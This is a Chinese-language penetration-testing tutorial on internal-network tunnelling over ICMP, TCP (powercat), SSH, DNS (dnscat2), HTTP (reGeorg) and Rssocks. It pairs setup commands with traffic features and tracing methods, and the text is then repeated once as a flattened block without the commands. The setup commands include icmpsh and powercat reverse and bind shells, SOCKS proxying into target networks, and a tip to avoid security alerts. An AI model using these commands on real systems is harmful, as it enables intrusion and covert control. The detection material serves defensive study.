内网穿透从搭建到溯源
字数 1787 2025-08-15 21:32:52

内网穿透技术从搭建到溯源详解

一、内网穿透概述

内网穿透是渗透测试人员在进入内网后,为绕过边界设备、防火墙及入侵检测设备对端口或数据包的拦截,实现稳定流量交互的技术。本文将从网络层、传输层和应用层三个层面介绍不同协议的隧道搭建技术,并分析各类隧道流量的特征,帮助攻击或防守人员掌握内网穿透技术及其溯源方法。

二、网络层隧道技术

1. ICMP隧道技术

适用场景:当目标网络关闭了常规端口但允许ICMP协议时(ICMP常用于网络连通性检测)。

常用工具

  • icmpsh
  • PingTunnel
  • powershell icmp

搭建步骤(以icmpsh为例)

  1. 攻击机(192.168.43.136)执行监听:

    python icmpsh_m.py 192.168.43.136 192.168.43.109
    
  2. 目标机执行反弹命令:

    icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128
    

流量特征分析

  • 普通ping包:4个32字节数据包,内容为"abcdefghigklmnopqrstuvwabcdefghi"
  • ICMP隧道流量:
    • 短时间内大量ICMP请求/回复
    • 每个数据包含128字节数据(可配置)
    • 数据内容包含命令执行结果

溯源方法

  1. 监测单位时间内的ICMP数据包数量
  2. 检查数据包大小异常
  3. 分析数据包内容是否包含命令信息

三、传输层隧道技术

1. Powercat隧道

工具下载

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

搭建步骤

  1. 目标机执行:

    Import-Module .\powercat.ps1
    powercat -l -p 8888 -e cmd.exe -v
    
  2. 攻击机连接:

    nc 192.168.43.109 8888 -vv
    

流量特征

  • 大量TCP数据包
  • 短时间内大量ACK回应包
  • 夹杂PSH数据包(含数据内容)
  • 数据包内容包含执行的命令及响应

防御方法

  • 分析数据包内容进行安全检测

四、应用层隧道技术

1. SSH隧道

SSH为应用层安全协议,提供加密的远程登录会话。SSH隧道常用于端口转发,分为三种类型:

(1) 本地转发

场景:外网通过DMZ资源访问内部无外网IP的资源

配置

ssh -CfNg -L 1234:192.168.43.168:22 sobug@192.168.43.179

连接内部主机

ssh -p 1234 sir@192.168.43.136

(2) 远程转发

场景:外网通过无外网IP的DMZ资源访问内部资源

配置

ssh -CfNg -R 2345:192.168.43.168:22 root@192.168.43.136

连接内部主机

ssh -p 1122 sir@127.0.0.1

(3) 动态转发

场景:在外网搭建SOCKS代理访问内网资源

配置

ssh -CfNg -D 8888 sobug@192.168.43.179

溯源方法

  • 检查端口连接情况,特别是同一PID同时与外网和内网建立连接
  • 监控SSH连接日志

2. DNS隧道

搭建步骤

  1. 域名解析配置

    • 创建A记录指向VPS
    • 创建NS记录,子域名解析指向A记录域名
    • 测试DNS请求是否正常处理
  2. 服务端配置

    ruby dnscat2.rb mail.****.club -e open -c password --no-cache
    
  3. 客户端连接

    ./dnscat --secret=password mail.target.com
    

流量特征

  • 大量DNS请求数据包
  • 请求域名前有加密字符串
  • 记录分布于TXT、MX和CNAME记录
  • 与普通DNS请求明显不同

防御方法

  1. 设置受信任的DNS服务器
  2. 阻止传入/传出的TXT请求
  3. 对频繁DNS请求的设备进行禁用并警告

3. HTTP隧道

常用工具:reGeorg、tunna

搭建步骤

  1. 上传tunnel文件(如tunnel.jsp)到目标服务器
  2. 搭建SOCKS5隧道:
    python reGeorgSocksProxy.py -p 8888 -u http://target/tunnel.jsp
    
  3. 配置代理工具(如Proxifier)使用本地8888端口

流量特征

  • HTTP请求中包含cmd、target和port参数
  • 请求参数中的IP端口与实际数据包不一致
  • 可观察到对内部服务的连接请求

溯源方法

  1. 检查HTTP数据包中的IP参数
  2. 检索本机IP对可疑IP的操作记录
  3. 结合Windows日志分析

五、实战案例:Rssocks隧道搭建

场景:Linux系统下通过Rssocks搭建SOCKS隧道

步骤

  1. 攻击机执行:

    Rcsocks -l 5001 -p 8009 -vv
    
  2. 目标机执行:

    Rssocks -vv -s vpsip:1080
    
  3. 配置代理工具连接vpsip:1088

  4. 使用proxychains扫描内网:

    proxychains nmap -sT -Pn 10.x.x.16
    

六、总结

内网穿透技术的关键点:

  1. 协议选择:根据目标网络环境选择合适的协议层隧道

    • 网络层:ICMP(当常规端口被禁)
    • 传输层:TCP/UDP(需要稳定连接)
    • 应用层:HTTP/DNS/SSH(利用常见服务)
  2. 工具选择

    • ICMP隧道:icmpsh、PingTunnel
    • TCP隧道:netcat、powercat
    • SSH隧道:原生SSH客户端
    • DNS隧道:dnscat2
    • HTTP隧道:reGeorg、tunna
  3. 溯源防御

    • 监测异常流量模式(数量、大小、内容)
    • 检查非常用端口连接
    • 分析协议内容特征
    • 结合系统日志进行关联分析
  4. 实战技巧

    • 多准备几种隧道方案以应对不同环境
    • 注意工具在不同系统下的兼容性
    • 隧道建立后验证连通性
    • 保持隐蔽性,避免触发安全警报

通过掌握这些内网穿透技术和相应的溯源方法,安全人员可以更有效地进行渗透测试或防御工作。

内网穿透技术从搭建到溯源详解 一、内网穿透概述 内网穿透是渗透测试人员在进入内网后,为绕过边界设备、防火墙及入侵检测设备对端口或数据包的拦截,实现稳定流量交互的技术。本文将从网络层、传输层和应用层三个层面介绍不同协议的隧道搭建技术,并分析各类隧道流量的特征,帮助攻击或防守人员掌握内网穿透技术及其溯源方法。 二、网络层隧道技术 1. ICMP隧道技术 适用场景 :当目标网络关闭了常规端口但允许ICMP协议时(ICMP常用于网络连通性检测)。 常用工具 : icmpsh PingTunnel powershell icmp 搭建步骤(以icmpsh为例) : 攻击机(192.168.43.136)执行监听: 目标机执行反弹命令: 流量特征分析 : 普通ping包:4个32字节数据包,内容为"abcdefghigklmnopqrstuvwabcdefghi" ICMP隧道流量: 短时间内大量ICMP请求/回复 每个数据包含128字节数据(可配置) 数据内容包含命令执行结果 溯源方法 : 监测单位时间内的ICMP数据包数量 检查数据包大小异常 分析数据包内容是否包含命令信息 三、传输层隧道技术 1. Powercat隧道 工具下载 : 搭建步骤 : 目标机执行: 攻击机连接: 流量特征 : 大量TCP数据包 短时间内大量ACK回应包 夹杂PSH数据包(含数据内容) 数据包内容包含执行的命令及响应 防御方法 : 分析数据包内容进行安全检测 四、应用层隧道技术 1. SSH隧道 SSH为应用层安全协议,提供加密的远程登录会话。SSH隧道常用于端口转发,分为三种类型: (1) 本地转发 场景 :外网通过DMZ资源访问内部无外网IP的资源 配置 : 连接内部主机 : (2) 远程转发 场景 :外网通过无外网IP的DMZ资源访问内部资源 配置 : 连接内部主机 : (3) 动态转发 场景 :在外网搭建SOCKS代理访问内网资源 配置 : 溯源方法 : 检查端口连接情况,特别是同一PID同时与外网和内网建立连接 监控SSH连接日志 2. DNS隧道 搭建步骤 : 域名解析配置 : 创建A记录指向VPS 创建NS记录,子域名解析指向A记录域名 测试DNS请求是否正常处理 服务端配置 : 客户端连接 : 流量特征 : 大量DNS请求数据包 请求域名前有加密字符串 记录分布于TXT、MX和CNAME记录 与普通DNS请求明显不同 防御方法 : 设置受信任的DNS服务器 阻止传入/传出的TXT请求 对频繁DNS请求的设备进行禁用并警告 3. HTTP隧道 常用工具 :reGeorg、tunna 搭建步骤 : 上传tunnel文件(如tunnel.jsp)到目标服务器 搭建SOCKS5隧道: 配置代理工具(如Proxifier)使用本地8888端口 流量特征 : HTTP请求中包含cmd、target和port参数 请求参数中的IP端口与实际数据包不一致 可观察到对内部服务的连接请求 溯源方法 : 检查HTTP数据包中的IP参数 检索本机IP对可疑IP的操作记录 结合Windows日志分析 五、实战案例:Rssocks隧道搭建 场景 :Linux系统下通过Rssocks搭建SOCKS隧道 步骤 : 攻击机执行: 目标机执行: 配置代理工具连接vpsip:1088 使用proxychains扫描内网: 六、总结 内网穿透技术的关键点: 协议选择 :根据目标网络环境选择合适的协议层隧道 网络层:ICMP(当常规端口被禁) 传输层:TCP/UDP(需要稳定连接) 应用层:HTTP/DNS/SSH(利用常见服务) 工具选择 : ICMP隧道:icmpsh、PingTunnel TCP隧道:netcat、powercat SSH隧道:原生SSH客户端 DNS隧道:dnscat2 HTTP隧道:reGeorg、tunna 溯源防御 : 监测异常流量模式(数量、大小、内容) 检查非常用端口连接 分析协议内容特征 结合系统日志进行关联分析 实战技巧 : 多准备几种隧道方案以应对不同环境 注意工具在不同系统下的兼容性 隧道建立后验证连通性 保持隐蔽性,避免触发安全警报 通过掌握这些内网穿透技术和相应的溯源方法,安全人员可以更有效地进行渗透测试或防御工作。